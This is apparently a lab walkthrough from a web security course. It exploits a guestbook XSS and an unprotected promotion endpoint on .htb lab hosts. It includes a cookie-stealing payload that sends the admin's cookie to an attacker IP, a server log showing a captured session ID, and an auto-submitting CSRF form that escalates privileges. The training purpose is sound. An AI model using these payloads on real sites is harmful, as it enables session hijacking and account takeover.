Lab warmup

After discussing the lab components, let us explore how we can use them to exploit a couple of sample vulnerabilities.

XSS Warm-Up

Our sample web application is a simple guestbook allowing us to leave entries, which all users can view. An administrator frequently monitors the entries to address spam:

We can confirm an obvious XSS vulnerability by posting the following entry:

Code: html

<script>alert(1)</script>

Let us develop an exploit to steal the admin user's cookies. We can use the exploitserver for exploit development by using a payload that loads the script from the exploit server:

Code: html

<script src="https://exploitserver.htb/exploit"></script>

Afterward, we can create a cookie stealer payload like the following on the exploit server. To exfiltrate the cookie, we can use the HTTPS server running on our system:

Code: js

window.location = "https://10.10.14.144:4443/cookiestealer?c=" + document.cookie;

After saving the exploit, we can confirm that it has been saved by accessing the /exploit endpoint:

Lastly, we must wait for the admin user to access the guestbook. The injected XSS payload causes the admin's browser to load the payload from the exploit server, which will exfiltrate the admin user's cookies to our system:

ajin152@htb[/htb]$ python3 server.py 

10.129.233.62 - - [31/Dec/2024 13:37:36] code 404, message File not found
10.129.233.62 - - [31/Dec/2024 13:37:36] "GET /cookiestealer?c=PHPSESSID=tiitsevk7pns4kmrcmjecm9qq6 HTTP/1.1" 404

CSRF Warm-Up

The sample web application does not contain much functionality as it is still under construction:

However, we can see that we only have user permissions. There is a promote button. If we press it, the web application informs us that only administrator users can promote other users. However, we can see that the promotion is implemented with the following request:

In particular, this endpoint has no CSRF protection, enabling us to execute a CSRF attack to make an administrator promote our user. To do so, we need to create an HTML form that corresponds to the promotion request:

Code: html

<html>
  <body>
    <form method="GET" action="https://csrf.labintro.htb/profile.php">
      <input type="hidden" name="promote" value="htb-stdnt" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Since we do not want the attack to require additional user interaction, we will add JavaScript code that automatically submits the form once the page is loaded:

Code: html

<script>
	document.forms[0].submit();
</script>

Combining these two parts results in the following payload, which we will save in the exploitserver:

Code: html

<html>
  <body>
    <form method="GET" action="https://csrf.labintro.htb/profile.php">
      <input type="hidden" name="promote" value="htb-stdnt" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

We can test our exploit by clicking on View Exploit while being logged in to the vulnerable application. This results in a request to https://exploitserver.htb/exploit, which returns our saved payload. The payload auto-submits the form, creating a cross-origin request to the vulnerable web application. However, since we are not an administrator, the promotion fails:

However, this confirms that our CSRF payload successfully sent the HTTP request to promote our user. To execute the attack, we can deliver our payload to the victim and select the current vHost csrf.labintro.htb. This will result in the victim accessing https://exploitserver.htb/exploit. After waiting for a few seconds and refreshing the page, we are promoted to admin:

Thus, we successfully exploited the CSRF vulnerability to make the administrator victim promote our user.

Note: When working on the labs, please keep the following things in mind:

There is a simulated victim user in all labs in this module. This victim user may take some time to access the payload. So, make sure your payload works by testing it yourself, and please be patient and wait a couple of minutes for the victim to trigger the exploit.
The simulated victim uses a Chromium 114.0.5735.90 Browser. The exploits have been tested on this browser version. Due to many recent changes regarding the handling of third-party cookies, it cannot be guaranteed that the exploits will work on later browser versions. You can download older Chromium releases here.
Please delete all cookies when moving from one lab to the next. The existence of cookies from previous labs may cause the browser to reject cookies in future labs.

PreviousIntroduction to Advanced CSRF & XSS Exploitation NextCSRF Exploitation

Last updated 19 days ago

ajin152@htb[/htb]$ python3 server.py 10.129.233.62 - - [31/Dec/2024 13:37:36] code 404, message File not found 10.129.233.62 - - [31/Dec/2024 13:37:36] "GET /cookiestealer?c=PHPSESSID=tiitsevk7pns4kmrcmjecm9qq6 HTTP/1.1" 404

<html> <body> <form method="GET" action="https://csrf.labintro.htb/profile.php"> <input type="hidden" name="promote" value="htb-stdnt" /> <input type="submit" value="Submit request" /> </form> </body> </html>